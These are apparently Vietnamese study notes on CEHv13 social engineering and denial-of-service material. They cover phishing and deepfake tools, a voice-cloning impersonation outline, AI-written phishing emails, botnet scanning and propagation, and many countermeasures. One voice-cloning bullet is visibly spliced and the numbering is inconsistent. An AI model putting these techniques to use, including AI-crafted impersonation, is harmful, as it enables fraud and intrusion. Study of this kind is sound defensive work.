  - Bị từ chối truy cập vào tài khoản của chính mình và không thể vay vốn/sử dụng dịch vụ.
  - Hồ sơ y tế cá nhân đột nhiên xuất hiện một căn bệnh mà bạn không hề mắc phải.
  - Nhận được thông báo dữ liệu bị xâm phạm từ một công ty nơi bạn làm việc hoặc có tài khoản.

- Tiền trong tài khoản ngân hàng bị rút ra không thể giải thích được.
- Nhận được cảnh báo hoạt động đáng ngờ từ bộ phận kiểm soát gian lận thẻ.
- Chính phủ từ chối trợ cấp cho bạn hoặc con bạn vì số SSN đó đang được một tài khoản khác thụ hưởng.
- Bảo hiểm y tế từ chối thanh toán vì ai đó đã dùng hết hạn mức quyền lợi của bạn.
- Mật khẩu, địa chỉ email hoặc chi tiết tài khoản bị thay đổi ngoài ý muốn.
- Điểm tín dụng (credit score) sụt giảm đột ngột không rõ lý do.
- Nhận được thông báo hầu tòa, lệnh bắt giữ hoặc tiền phạt cho những hành vi bạn không làm.

Kỹ thuật xã hội trên thiết bị di động (Mobile-based Social Engineering) [Trang 1436 - 1440]:

- **Publishing Malicious Apps (Phát hành ứng dụng độc hại):** Kẻ tấn công tạo ra một ứng dụng có giao diện và tính năng hấp dẫn nhưng chứa mã độc và tải trực tiếp lên các chợ ứng dụng (App Store/Play Store) bằng các tên tương tự phần mềm phổ biến.
- **Repackaging Legitimate Apps (Đóng gói lại ứng dụng hợp pháp):** Kẻ tấn công tải xuống một ứng dụng game/phần mềm hợp pháp, nhúng mã độc vào bên trong, đóng gói lại và tung lên các chợ ứng dụng bên thứ ba.
- **Fake Security Applications (Ứng dụng bảo mật giả mạo):** Dụ dỗ nạn nhân tải ứng dụng thông qua các cảnh báo pop-up giả mạo hệ thống (Ví dụ: "Máy bạn đang có virus, tải app này để quét"). Khi cài đặt, app sẽ trích xuất thông tin tài khoản ngân hàng.
- **SMiShing (SMS Phishing):** Là hành vi sử dụng hệ thống tin nhắn văn bản SMS của điện thoại di động để lừa người dùng thực hiện các hành động tức thì, chẳng hạn như tải xuống phần mềm độc hại, truy cập trang web độc hại hoặc gọi đến một số điện thoại lừa đảo (Ví dụ: tin nhắn giả mạo ngân hàng thông báo tài khoản bị khóa và yêu cầu gọi lại số tổng đài giả để cung cấp số thẻ/PIN).

Kỹ thuật tạo Email lừa đảo bằng AI (Crafting Phishing Emails with ChatGPT) [Trang 1413 - 1417]: Kẻ tấn công có thể sử dụng các AI tạo sinh (như ChatGPT) để tự động hóa và nâng cấp các cuộc tấn công lừa đảo:

- **Tạo nội dung đánh lừa (Deceptive emails):** Dùng AI để sinh ra các thông điệp có giọng điệu khẩn cấp, ngôn ngữ chuẩn xác (loại bỏ hoàn toàn các lỗi sai chính tả/ngữ pháp thường làm lộ email phishing) để dụ người dùng nhấp vào liên kết độc hại hoặc cài malware.
- **Bắt chước phong cách viết (Impersonate writing style):** Bằng cách cung cấp lịch sử hội thoại, AI có thể học phong cách viết (từ vựng, cú pháp, sắc thái cảm xúc) từ một cá nhân cụ thể (như bạn bè, sếp) để tạo ra thông điệp giả mạo mượn tiền hoặc xin quyền truy cập cực kỳ tinh vi, vượt qua sự nghi ngờ của nạn nhân.

2. Công cụ tấn công lừa đảo và khai thác AI

2.1. Công cụ tấn công lừa đảo (Phishing tools) [Trang 1410 - 1412]

- **ShellPhish:** Công cụ mã nguồn mở dùng để lừa lấy thông tin đăng nhập từ nhiều nền tảng mạng xã hội (như Instagram, Facebook, Twitter, LinkedIn). Ngoài ra, nó có khả năng hiển thị địa chỉ IP công cộng, thông tin trình duyệt, tên máy chủ và định vị (geolocation) của nạn nhân.
- **Social-Engineer Toolkit (SET):** Nền tảng mã nguồn mở bằng Python phục vụ kiểm thử xâm nhập chuyên biệt cho social engineering. Có chức năng phân loại và thực hiện các cuộc tấn công qua email, web và USB (Ví dụ: Spear-Phishing, QRCode Generator, Infectious Media).
- *(Các công cụ bổ sung)*: **Dark-Phish**, **BLACKEYE**, **SocialFish**, **Modlishka**, **Trape**, **Gophish**, **King Phisher**, **LUCY SECURITY**, **Zphisher**.
- **4R TIGER** [Trang 1441 - 1442]: Trình tạo mã QR cho phép sao chép mã hợp pháp (tĩnh hoặc động). Công cụ này cho phép kẻ tấn công theo dõi dữ liệu sâu (số lần quét, thời gian quét, vị trí).
- *(Các công cụ khác)*: **QR Code Generator**, **Soti MobiControl**, **QR Code KIT**.

2.2. Công cụ Deepfake/AI (AI Deepfake tools) [Trang 1421 - 1422]

- Yêu cầu mô hình Deep Learning (như CNNs, GANs). Được dùng để tạo video/audio giả mạo dựa trên nguồn dữ liệu sẵn có của mục tiêu để lừa đảo hoặc tống tiền.
- **Các kỹ năng cần thiết:** Yêu cầu kiến thức về thuật toán học máy sâu (CNNs, GANs), kỹ năng tiền xử lý và tăng cường dữ liệu khuôn mặt, cùng kinh nghiệm sử dụng các phần mềm chỉnh sửa video (Adobe Premiere, Final Cut Pro) để tinh chỉnh hiệu ứng ánh sáng, màu sắc (rotoscoping) sao cho chân thực nhất. *DeepFaceLab* hoạt động theo nguyên lý thay thế hoặc hợp nhất khuôn mặt từ video gốc (source video) vào video đích (destination video).
- **Công cụ: DeepFaceLab** (Công cụ end-to-end cho phép thay thế khuôn mặt, thay đổi tuổi, thao tác môi giữa video nguồn và đích), **Vidnoz**, **Deepfakesweb**, **Synthesia**, **DeepBrain AI**, **Hoodem**.

2.3. Công cụ nhân bản giọng nói bằng AI (AI voice cloning tools) [Trang 1423 - 1424]

- SửQuy trình nhân bản giọng nói (Steps involved):**
  1. *Thu thập dữ liệu (Data collection):* Lấy file ghi âm giọng nói của mục tiêu từ bài phát biểu, podcast, mạng xã hội.
  2. *Huấn luyện mạng nơ-ron (Neural networks training):* Đưa dữ liệu vào huấn luyện mô hình sâu (CNNs hoặc RNNs) để AI nhận diện mẫu và sắc thái giọng nói.
  3. *Tạo mẫu giọng nói (Create voice samples):* Chuyển đổi văn bản đầu vào thành giọng nói tổng hợp khớp với giọng mục tiêu.
  4. *Mạo danh (Impersonation):* Sử dụng mẫu sinh ra để gọi điện tống tiền, vượt qua lớp bảo mật sinh trắc học bằng giọng nói.
- ** dụng thuật toán Máy học (ML) và tổng hợp giọng nói để bắt chước tinh vi giọng nói của một cá nhân, bao gồm cả cao độ, ngữ điệu và phong cách. Kẻ tấn công dùng nó để gọi điện mạo danh tống tiền hoặc vượt qua bảo mật sinh trắc học.
- **Công cụ: VEED.IO** (Chuyển văn bản thành vô số đoạn âm thanh chỉ với một mẫu giọng nói), **Murf.AI**, **Resemble.AI**, **ElevenLabs**, **PlayHT**, **voice.ai**.

2.Biện pháp phòng chống (Social Engineering Countermeasures) [Trang 1444 - 1454]

- **Chính sách Mật khẩu (Password Policies):** Yêu cầu đổi mật khẩu định kỳ, dùng mật khẩu dài (tối thiểu 8 ký tự) và phức tạp, khóa tài khoản sau số lần nhập sai nhất định. Tuyệt đối không dùng thông tin cá nhân (tên thú cưng, sinh nhật) làm mật khẩu, không chia sẻ hoặc viết mật khẩu ra giấy.
- **Chính sách Bảo mật Vật lý (Physical Security Policies):** Cấp và kiểm tra thẻ ID nhân viên, có quy trình đón tiếp và hộ tống khách (escort visitors), trang bị máy hủy tài liệu (paper shredders) để chống bị lục thùng rác (Dumpster Diving), bố trí nhân viên bảo vệ.
- **Chiến lược Phòng thủ và Quy trình (Defense Strategy):**
  - Tiến hành các chiến dịch diễn tập Social Engineering nội bộ (Social engineering campaign) để đánh giá phản ứng của nhân viên.
  - Sử dụng Phân tích lỗ hổng (Gap analysis) và áp dụng chiến lược khắc phục (Remediation strategies).
  - Áp dụng Xác thực hai yếu tố (MFA/TFA) cho mọi truy cập nhạy cảm.
  - Phân quyền truy cập rõ ràng (Implement proper access privileges), kiểm tra lý lịch nhân sự trước khi tuyển, theo dõi sát quy trình chấm dứt hợp đồng lao động.
  - **Các biện pháp phòng chống bổ sung (Additional Countermeasures):**
    * Đào tạo nhân viên về các chính sách bảo mật: Nhận thức rõ các chiến thuật Kỹ thuật xã hội.
    * Xác định thời gian phản hồi sự cố (Incidence response time) hợp lý để đối phó với nỗ lực tấn công.
    * Đảm bảo tài nguyên chỉ dành cho người dùng được ủy quyền (Availability of resources only to authorized users).
    * Phân loại thông tin (Scrutinize information): Phân loại tài liệu thành Tuyệt mật, Độc quyền, Sử

dụng nội bộ hoặc Công khai.
    * Thực hiện kiểm tra lý lịch và quy trình chấm dứt hợp đồng lao động chặt chẽ (để tránh mối đe dọa từ người cũ).
    * Sử dụng nhiều lớp phòng thủ chống virus và chống lừa đảo (Anti-virus/anti-phishing defenses) ở cấp độ gateway và người dùng.
    * Áp dụng quy trình quản lý thay đổi (Change management) được lập thành văn bản rõ ràng thay vì quy trình ad-hoc.
    * Đảm bảo phần mềm và hệ điều hành được cập nhật và vá lỗi thường xuyên.
    * Thực thi chính sách phần cứng và phần mềm (Hardware/Software policy): Cấm sử dụng USB cá nhân, chỉ cho phép cài phần mềm hợp pháp.
    * Xác minh Danh tính và Ủy quyền: Nhân viên phải xác minh header email và danh tính người yêu cầu thông tin.
    * Đảm bảo sử dụng các kênh liên lạc an toàn và được mã hóa khi chia sẻ dữ liệu nhạy cảm.
- **Cách nhận biết Email Lừa đảo (How to Detect Phishing Emails) [Trang 1453]:**
  - Các tệp đính kèm bất ngờ từ những người dùng, khách hàng, nhà cung cấp hoặc đồng nghiệp không xác định.
  - Các tệp đính kèm có định dạng bất thường hoặc không được nhận dạng.
  - Sự khác biệt giữa ID email của người gửi và tên hiển thị.
  - Email từ các ID có tên tổ chức không đầy đủ/không chính xác hoặc sử dụng số thay vì chữ cái trong tên.
  - Email có lời chào chung chung như “Kính gửi người dùng” (Dear users), “Xin chào” (Hello).
  - Email cố gắng khơi dậy cảm giác khẩn cấp (arouse a sense of urgency).
  - Email không có chữ ký hoàn chỉnh.
  - Email chứa các liên kết hiển thị một trang web hoặc URL khác khi di chuột qua (hovered on).
  - Email dường như đến từ ngân hàng hoặc tổ chức tài chính của người dùng (yêu cầu xác minh).
  - Các tin nhắn đáng ngờ yêu cầu quyên góp từ thiện.
  - Lỗi chính tả rõ ràng và cách sử dụng dấu câu kỳ lạ.
  - Các email yêu cầu thông tin cá nhân.
  - Các email cung cấp những ưu đãi quá hấp dẫn khó có thể là sự thật (như trúng xổ số, đăng ký miễn phí, mời làm việc).
- **Cách phòng chống Phishing chi tiết (How to Defend against Phishing Attacks) [Trang 1449]:**
  - Giáo dục cá nhân bằng cách tiến hành các chiến dịch diễn tập phishing.
  - Bật bộ lọc thư rác (spam filters) để phát hiện email từ các nguồn đáng ngờ.
  - Tránh phản hồi các email yêu cầu thông tin nhạy cảm.
  - Di chuột qua các liên kết (Hover over links) để xác định xem URL có trỏ đến vị trí hợp pháp hay không.
  - Không bao giờ cung cấp thông tin xác thực qua điện thoại.
  - Kiểm tra email để tìm các lỗi chính tả, ngữ pháp hoặc lời chào chung chung (generic salutations).
  - Xác nhận lại với người gửi trước khi cung cấp bất kỳ thông tin nào qua email.
  - Đảm bảo nhân viên sử dụng các trang web được bảo vệ bằng giao thức HTTPS.
  - Triển khai xác thực đa yếu tố (MFA) để ngăn chặn các cuộc tấn công whaling.
  - Chủ động liên hệ với tổ chức qua email hoặc số điện thoại chính thức được cung cấp trên website nếu có nghi ngờ.
  - Xác minh ảnh đại diện của một tài khoản đáng ngờ bằng cách thực hiện tìm kiếm hình ảnh ngược (reverse image search).
  - Báo cáo ngay lập tức các tài khoản mạng xã hội được xác nhận là giả mạo, hoặc khiếu nại lên cơ quan tội phạm mạng nếu tài khoản đó tống tiền.
  - Cài đặt các tiện ích mở rộng bảo mật (security extensions) uy tín để phát hiện và chặn các trang web lừa đảo.
  - Thường xuyên sao lưu dữ liệu và hệ thống để giảm thiểu tác động của cuộc tấn công thành công (ví dụ như Ransomware thường đi theo sau nỗ lực phishing).

- **Cách phòng chống Đánh cắp danh tính (Identity Theft Countermeasures):**
  - Bảo mật hoặc cắt nhỏ (shred) tất cả tài liệu chứa thông tin cá nhân.
  - Đảm bảo tên của bạn không có trong "danh sách mục tiêu" (hit lists) của các nhà tiếp thị.
  - Thường xuyên xem xét sao kê thẻ tín dụng và cất giữ an toàn.
  - Không bao giờ cung cấp thông tin cá nhân qua điện thoại.
  - Làm trống hộp thư (mailbox) nhanh chóng để giữ an toàn cho thư từ.
  - Nghi ngờ và xác minh tất cả các yêu cầu đòi cung cấp dữ liệu cá nhân.
  - Bảo vệ không để thông tin cá nhân bị công khai.
  - Không hiển thị tài khoản hoặc số liên lạc trừ khi bắt buộc.
  - Thường xuyên theo dõi các hoạt động ngân hàng trực tuyến.
  - Không bao giờ liệt kê các thông tin nhận dạng cá nhân (tên cha, tên thú cưng, địa chỉ, nơi sinh) trên mạng xã hội.
  - Kích hoạt xác thực hai yếu tố (2FA) trên mọi tài khoản trực tuyến.
  - Không bao giờ dùng Wi-Fi công cộng để chia sẻ/truy cập thông tin nhạy cảm.
  - Cài đặt tường lửa và phần mềm diệt virus trên máy tính cá nhân.
  - Không lưu trữ thông tin tài chính trên máy tính và dùng mật khẩu mạnh.
  - Cẩn trọng trước khi nhấp vào link trong email/tin nhắn.
  - Chỉ nhập thông tin cá nhân trên các trang web có dấu "https".
  - Báo cáo gian lận (fraud alerts) cho hệ thống để phòng thủ.
  - Đóng băng tín dụng (Credit freeze) tại các cơ quan tín dụng như Equifax, Experian để chặn quyền truy cập trái phép.
  - Cắt nhỏ (shred) các ưu đãi thẻ tín dụng và "séc tiện lợi" (convenience checks) không hữu ích.
  - Kiểm tra hóa đơn điện thoại cố định và di động để phát hiện các cuộc gọi mà bạn không thực hiện.
  - Đọc kỹ chính sách bảo mật của các trang web.
  - Không cho phép thành viên gia đình hoặc bạn bè mở tài khoản cá nhân của bạn.
  - Sử dụng các ví kỹ thuật số đáng tin cậy cung cấp tính bảo mật cao.
  - Sử dụng hộp thư có khóa (locked mailbox) để chống trộm thư có chứa thông tin cá nhân.
  - Chọn các tùy chọn không dùng giấy (paperless options) cho hóa đơn và sao kê ngân hàng để giảm rủi ro trộm thư.
- **Cách phòng chống Voice Cloning (Voice Cloning Countermeasures):**
  - Cẩn trọng khi nhận cuộc gọi/âm thanh không mong muốn, đặc biệt nếu họ yêu cầu thông tin nhạy cảm hoặc hành động bất thường.
  - Xác minh danh tính người gọi bằng các phương pháp xác thực bổ sung (mật khẩu, câu hỏi bảo mật).
  - Giáo dục người dùng về rủi ro của voice cloning và tầm quan trọng của việc hoài nghi.
  - Triển khai sinh trắc học giọng nói hoặc công nghệ xác thực nâng cao để xác minh tính xác thực.
  - Sử dụng công nghệ chống giả mạo (anti-spoofing) để phát hiện giọng nói nhân tạo/tổng hợp.
  - Sử dụng các kênh liên lạc an toàn như cuộc gọi thoại được mã hóa.
- **Cách phòng chống Deepfake (Deepfake Attack Countermeasures):**
  - Triển khai kỹ thuật đóng dấu kỹ thuật số (digital watermarking) chèn mã ẩn vào video gốc lúc tạo.
  - Sử dụng công nghệ Blockchain để tạo bản ghi nội dung số gốc nhằm xác minh tính xác thực.
  - Cải thiện công nghệ nhận diện khuôn mặt để phân biệt mặt thật và mặt do AI tạo ra.
  - Áp dụng các biện pháp bảo mật quyền riêng tư nghiêm ngặt để bảo vệ dữ liệu sinh trắc học khỏi việc bị dùng tạo deepfake.
  - Tăng cường cơ chế báo cáo của người dùng trên MXH để nhanh chóng gắn cờ video giả mạo.
  - Đào tạo công chúng và chuyên gia truyền thông cách đánh giá tính xác thực của nội dung số.
  - Phát triển các công cụ AI/ML để phát hiện sự thiếu nhất quán (chuyển động mắt bất thường, ánh sáng sai lệch, khẩu hình môi bị lỗi).
  - Sử dụng các kỹ thuật pháp y số nâng cao (phân tích nén, chi tiết cấp độ pixel, lỗi âm thanh) để kiểm tra dấu hiệu thao túng.

Bảng Mục tiêu Kỹ thuật xã hội và Chiến lược phòng thủ (Common Social Engineering Targets and Defense Strategies) [Trang 1457 - 1458]:

- **Front office và help desk (Lễ tân và Bộ phận hỗ trợ):**
  - Kỹ thuật tấn công: Eavesdropping, shoulder surfing, impersonation, persuasion, intimidation.
  - Phòng thủ: Đào tạo nhân viên không bao giờ tiết lộ mật khẩu/thông tin qua điện thoại. Thực thi chính sách nghiêm ngặt cho bộ phận này.
- **Technical support và system administrators (Hỗ trợ kỹ thuật và Quản trị hệ thống):**
  - Kỹ thuật tấn công: Impersonation, persuasion, intimidation, fake SMS, phone calls.
  - Phòng thủ: Đào tạo nhân viên quản trị tuyệt đối không tiết lộ mật khẩu qua email hoặc điện thoại.
- **Perimeter security (An ninh vành đai):**
  - Kỹ thuật tấn công: Impersonation, reverse social engineering, piggybacking, tailgating.
  - Phòng thủ: Triển khai thẻ ID nghiêm ngặt, token, xác thực sinh trắc học, đào tạo nhân viên và bố trí nhân viên bảo vệ.
- **Office (Văn phòng):**
  - Kỹ thuật tấn công: Shoulder surfing, eavesdropping, ingratiation.
  - Phòng thủ: Áp dụng danh sách kiểm tra thực hành tốt nhất cho mật khẩu. Luôn phải có người đi kèm với mọi khách truy cập (Escort all guests).
- **Vendors of the target organization (Nhà cung cấp):**
  - Phòng thủ: Giáo dục các nhà cung cấp về kỹ thuật xã hội.
- **Mail room (Phòng thư):**
  - Kỹ thuật tấn công: Đánh cắp, phá hoại hoặc giả mạo thư từ.
  - Phòng thủ: Khóa và giám sát phòng thư, đào tạo nhân viên chuyên trách.
- **Machine room và Phone closet (Phòng máy và Tủ điện thoại):**
  - Kỹ thuật tấn công: Cố gắng giành quyền truy cập vật lý, gỡ thiết bị hoặc gắn protocol analyzer.
  - Phòng thủ: Giữ các không gian này khóa kín 24/7 và cập nhật bản kiểm kê thiết bị thường xuyên.
- **Company's Executives (Ban giám đốc công ty):**
  - Kỹ thuật tấn công: Fake SMS, phone calls, spear phishing.
  - Phòng thủ: Đào tạo ban giám đốc không bao giờ tiết lộ danh tính, mật khẩu qua điện thoại hay email.
- **Dumpsters (Thùng rác):**
  - Kỹ thuật tấn công: Dumpster diving.
  - Phòng thủ: Đặt thùng rác ở khu vực an toàn, có giám sát; cắt nhỏ (shred) các dữ liệu quan trọng và xóa từ tính (erase magnetic media) trước khi vứt bỏ.

3. Công cụ phòng thủ và mô phỏng

3.1. Thanh công cụ chống lừa đảo (Anti-phishing toolbar) [Trang 1455 - 1456]

- **Netcraft:** Hoạt động như một "kế hoạch theo dõi khu phố khổng lồ" (giant neighborhood watch scheme). Cung cấp thông tin cập nhật liên tục để chặn người dùng truy cập các trang web độc hại/lừa đảo đã được báo cáo trong cộng đồng.
- **PhishTank:** Là trung tâm lưu trữ thông tin hợp tác về lừa đảo trực tuyến. Cung cấp API mở để các nhà phát triển và nghiên cứu tích hợp dữ liệu chống phishing vào phần mềm của họ.
- *(Các công cụ phát hiện khác)*: **Scanurl**, **Isitphishing**, **Threatcop**, **e.Veritas**, **Virustotal**.

4.2. Công cụ mô phỏng lừa đảo (Phishing simulation tool) [Trang 1459 - 1460]

- **OhPhish:** Cổng thông tin dựa trên web để kiểm tra mức độ dễ bị tổn thương của nhân viên. Nền tảng này cho phép khởi chạy các chiến dịch lừa đảo giả lập (Entice to Click, Credential Harvesting, Send Attachment, Vishing, Smishing), theo dõi phản hồi theo thời gian thực và xuất báo cáo MIS giúp tổ chức giảm thiểu rủi ro.

CEHv13 - Module 10 - Denial-of-Service

0. Khái niệm và Tổ chức (Concepts & Syndicates)

Khái niệm DoS/DDoS (DoS/DDoS Concepts) [Trang 1467 - 1469]:

- **Tấn công DoS (Denial-of-Service):** Là cuộc tấn công vào máy tính hoặc mạng làm giảm, hạn chế hoặc ngăn cản quyền truy cập vào tài nguyên hệ thống của người dùng hợp pháp. Kẻ tấn công làm ngập lụt hệ thống nạn nhân bằng các yêu cầu dịch vụ hoặc lưu lượng truy cập không hợp lệ để làm quá tải tài nguyên.
- **Mục tiêu của DoS:** Ngăn chặn người dùng hợp pháp sử dụng hệ thống, thay vì giành quyền truy cập trái phép hoặc làm hỏng dữ liệu. Các hình thức bao gồm: Tiêu thụ băng thông/tài nguyên, phá hủy vật lý các thành phần mạng, hoặc làm hỏng cấu trúc lập trình/tệp tin.
  - **Các ví dụ về các loại hình tấn công DoS (Examples for types of DoS attacks):**
    * Làm ngập lụt hệ thống của nạn nhân với lượng lưu lượng truy cập lớn hơn khả năng xử lý của nó.
    * Làm ngập lụt một dịch vụ (ví dụ: Internet Relay Chat - IRC) với nhiều sự kiện hơn mức nó có thể xử lý.
    * Làm sập ngăn xếp TCP/IP (Crashing a TCP/IP stack) bằng cách gửi các gói tin bị hỏng (corrupt packets).
    * Làm sập một dịch vụ bằng cách tương tác với nó theo một cách không lường trước được.
    * Làm treo hệ thống (Hanging a system) bằng cách đẩy nó vào một vòng lặp vô hạn (infinite loop).
    * *Ví dụ minh họa:* Hãy xem xét một công ty dịch vụ ăn uống chủ yếu nhận đơn hàng qua điện thoại. Nếu một kẻ tấn công muốn phá vỡ hoạt động kinh doanh này, chúng sẽ tìm cách chặn đường dây điện thoại, khiến công ty không thể làm việc. Tấn công DoS cũng hoạt động theo cơ chế tương tự—kẻ tấn công sử dụng hết mọi cách để kết nối với hệ thống nạn nhân, khiến các hoạt động kinh doanh hợp pháp trở nên bất khả thi.
    * Các cuộc tấn công DoS thường không dẫn đến việc đánh cắp thông tin. Tuy nhiên, trong trường hợp xấu nhất, tấn công DoS có thể gây ra sự cố phá hủy ngẫu nhiên các tệp và chương trình của hàng triệu người dùng đang kết nối với hệ thống nạn nhân tại thời điểm bị tấn công.
    * Tác động của DoS (Impact of DoS): Bao gồm việc làm giảm uy tín (loss of goodwill), gián đoạn mạng (network outages), thiệt hại tài chính (financial losses), và gián đoạn hoạt động (operational disruptions).
    * Mục tiêu chính của DDoS: Mục tiêu đầu tiên của một cuộc tấn công DDoS là giành quyền truy cập quản trị (administrative access) trên càng nhiều hệ thống càng tốt. Kẻ tấn công sử dụng các kịch bản tùy chỉnh để xác định các hệ thống dễ tổn thương, sau đó tải lên và chạy phần mềm DDoS trên các hệ thống này (tạo botnet) để chuẩn bị khởi chạy tấn công.
- **Tấn công DDoS (Distributed Denial-of-Service):** Là một cuộc tấn công DoS quy mô lớn, được phối hợp và khởi chạy gián tiếp thông qua nhiều máy tính bị xâm nhập (botnets/zombies). Máy chủ bị tấn công gọi là "nạn nhân chính" (primary victim), còn các máy bị xâm nhập dùng để tấn công gọi là "nạn nhân phụ" (secondary victims).
  - Theo định nghĩa từ *Câu hỏi thường gặp về Bảo mật World Wide Web (WWWS FAQ)*: "Kẻ tấn công nhân lên hiệu quả của việc từ chối dịch vụ một cách đáng kể bằng cách khai thác tài nguyên của nhiều máy tính đồng lõa vô tình (unwitting accomplice computers), đóng vai trò là nền tảng tấn công." Các cuộc tấn công DDoS trở nên phổ biến vì dễ dàng tiếp cận các kế hoạch khai thác và cần rất ít nỗ lực trí tuệ để thực thi.

Tổ chức tội phạm mạng (Organized Cyber Crime Syndicates) [Trang 1471]: Tội phạm mạng hiện nay hoạt động theo mô hình phân cấp, có chia sẻ doanh thu giống như các tập đoàn lớn. Cấu trúc bao gồm:

- Các tổ chức tội phạm này tạo và cho thuê mạng botnet, đồng thời cung cấp nhiều dịch vụ đa dạng từ phát triển phần mềm độc hại, hack tài khoản ngân hàng đến triển khai các cuộc tấn công DoS khổng lồ chống lại bất kỳ mục tiêu nào với một mức giá nhất định. Ví dụ: một tổ chức tội phạm có thể thực hiện tấn công DDoS vào ngân hàng để đánh lạc hướng sự chú ý của đội ngũ bảo mật trong khi chúng dọn sạch tài khoản ngân hàng bằng thông tin đăng nhập bị đánh cắp. Sự tham gia ngày càng tăng của chúng vào các cuộc chiến tranh mạng mang động cơ chính trị đang là vấn đề đáng lo ngại.
- **Criminal Boss (Ông trùm):** Đóng vai trò là doanh nhân, không trực tiếp phạm tội.
- **Underboss (Phó trùm):** Cung cấp Trojan và quản lý máy chủ C&C cùng cơ sở dữ liệu toolkit.
- **Campaign Manager (Quản lý chiến dịch):** Sở hữu các mạng lưới liên kết (Affiliation Networks) để triển khai tấn công và đánh cắp dữ liệu.
- **Attackers / Affiliates (Kẻ tấn công / Chi nhánh):** Phân phối mã độc trên các trang web.
- **Stolen Data Reseller (Người bán lại dữ liệu):** Bán dữ liệu đã đánh cắp được.
- **Cybercriminal service suppliers (Nhà cung cấp dịch vụ mạng tội phạm):** Là một phần của mạng lưới tội phạm, chuyên cung cấp các dịch vụ như phát triển mã độc, dịch vụ lưu trữ miễn nhiễm (bulletproof hosting), tạo các mã khai thác trình duyệt (browser exploits), mã hóa và đóng gói (encryption and packing).

1. Mạng bot (Botnets) [Trang 1470 - 1476]

Botnet là một mạng lưới khổng lồ các máy tính bị lây nhiễm (zombies) được kẻ tấn công sử dụng để thực hiện các cuộc tấn công tự động qua Internet.

- Sự ra đời của botnet dẫn đến sự gia tăng to lớn về tội phạm mạng. Botnet tạo thành cốt lõi của trung tâm hoạt động tội phạm mạng liên kết và hợp nhất nhiều bộ phận khác nhau trong thế giới ngầm. Một botnet tương đối nhỏ gồm 1.000 bot có tổng băng thông lớn hơn băng thông của hầu hết các hệ thống doanh nghiệp (corporate systems).
- Có nhiều loại bot khác nhau như Internet bots, IRC bots, và chatter bots. Các ví dụ về IRC bots bao gồm: Cardinal, Sopel, Eggdrop, và EnergyMech.

(Bổ sung từ nguồn) **Các mục đích sử dụng botnet** [Trang 1472 - 1473]: Ngoài tấn công DDoS, botnet còn dùng để Spamming, Sniffing traffic (đánh cắp thông tin thẻ tín dụng/mật khẩu, thậm chí cướp botnet khác), Keylogging, Phát tán mã độc mới (Spreading new malware), Gian lận nhấp chuột quảng cáo (Google AdSense abuse), Tấn công mạng IRC chat (clone attacks), Thao túng các cuộc thăm dò ý kiến/game trực tuyến, Đánh cắp danh tính hàng loạt (Mass identity theft qua email mạo danh), Nhồi nhét thông tin xác thực (Credential stuffing), Đào tiền ảo (Cryptocurrency mining).

Các phương pháp botnet tìm máy dễ bị tổn thương (Scanning Methods) [Trang 1475 - 1476]:

- **Quét ngẫu nhiên (Random scanning):** Máy bị nhiễm (zombie) thăm dò các địa chỉ IP một cách ngẫu nhiên trong dải mạng đích để kiểm tra lỗ hổng. Phương pháp này tạo ra lưu lượng truy cập lớn ở giai đoạn đầu, nhưng tốc độ lan truyền sẽ giảm dần theo thời gian khi số lượng IP mới còn trống giảm đi.
- **Quét theo danh sách mục tiêu (Hit-list scanning):** Kẻ tấn công thu thập trước một danh sách các máy có khả năng bị tấn công. Sau đó chúng quét danh sách này để tạo "đội quân zombie" (zombie army). Khi tìm thấy một máy dễ tổn thương và lây nhiễm thành công, kẻ tấn công chia đôi danh sách (một nửa do máy cũ quét, một nửa giao cho máy vừa bị lây nhiễm quét). Quá trình lặp lại liên tục giúp số lượng máy bị xâm phạm tăng theo cấp số nhân trong thời gian rất ngắn.

- **Quét theo cấu trúc mạng (Topological scanning):** Sử dụng thông tin thu được từ chính máy đã bị nhiễm (ví dụ: quét tìm các URL trong ổ cứng) để tìm kiếm và nhắm mục tiêu các máy mới. Phương pháp này mang lại kết quả chính xác, hiệu suất tương đương với Hit-list scanning.
- **Quét trong mạng con cục bộ (Local subnet scanning):** Máy bị nhiễm tìm kiếm các mục tiêu mới nằm trong chính mạng cục bộ của nó, đằng sau tường lửa, sử dụng thông tin ẩn trong các địa chỉ cục bộ. Thường được kết hợp với các cơ chế quét khác.
- **Quét hoán vị (Permutation scanning):** Kẻ tấn công chia sẻ một danh sách hoán vị giả ngẫu nhiên của các địa chỉ IP (tạo ra từ một block cipher 32-bit và preselected key). Nếu một máy bị nhiễm trong quá trình quét, việc quét sẽ tiếp tục ngay từ điểm sau máy bị nhiễm đó để tìm mục tiêu mới. Nếu gặp lại một máy đã bị lây nhiễm từ trước, máy quét sẽ khởi động lại từ một điểm xuất phát ngẫu nhiên mới. Giúp tránh việc lây nhiễm lại (reinfection) cùng một mục tiêu và đảm bảo tốc độ quét cực cao.

2. Lan truyền mã độc (Malicious code propagation) [Trang 1477 - 1478]

- **Truyền từ nguồn tập trung (Central source propagation)** [Trang 1477]: Kẻ tấn công đặt một bộ công cụ tấn công (attack toolkit) trên một máy chủ trung tâm. Khi tìm thấy một hệ thống có lỗ hổng, chúng ra lệnh cho nguồn trung tâm tự động chuyển một bản sao của toolkit sang máy vừa bị xâm phạm thông qua cơ chế script. Quy trình này lặp lại liên tục và thường dùng các giao thức HTTP, FTP, và RPC.
- **Lan truyền theo chuỗi ngược (Back-chaining propagation)** [Trang 1478]: Kẻ tấn công đặt toolkit trên chính hệ thống của họ. Khi máy tấn công thâm nhập được một máy nạn nhân, nó sử dụng các phương thức đặc biệt để yêu cầu máy nạn nhân tạo kết nối ngược lại và tải tệp công cụ về. Thường sử dụng giao thức Trivial File Transfer Protocol (TFTP).
- **Lan truyền tự trị (Autonomous propagation)** [Trang 1478]: Khác với hai cơ chế trên (cần một nguồn tệp bên ngoài), ở lan truyền tự trị, chính máy chủ đang đi tấn công (attacking host) sẽ trực tiếp chuyển luôn toolkit cho máy nạn nhân mới được tìm thấy ngay tại thời điểm nó xâm nhập thành công (attacker –> victim –> victim).

Sử dụng thiết bị di động làm Botnet để khởi chạy DDoS [Trang 1481]: Các thiết bị Android không được bảo mật đang trở thành mục tiêu chính để kẻ tấn công mở rộng mạng lưới botnet.

- **Phương thức lây nhiễm:** Ứng dụng độc hại trên Google Play Store hoặc thông qua tải xuống ẩn (drive-by downloads).
- **Cách thức hoạt động:** Kẻ tấn công nhúng (binds) máy chủ APK độc hại vào một gói ứng dụng Android hợp pháp, mã hóa nó, gỡ bỏ các tính năng không mong muốn và tung lên các chợ ứng dụng bên thứ ba.
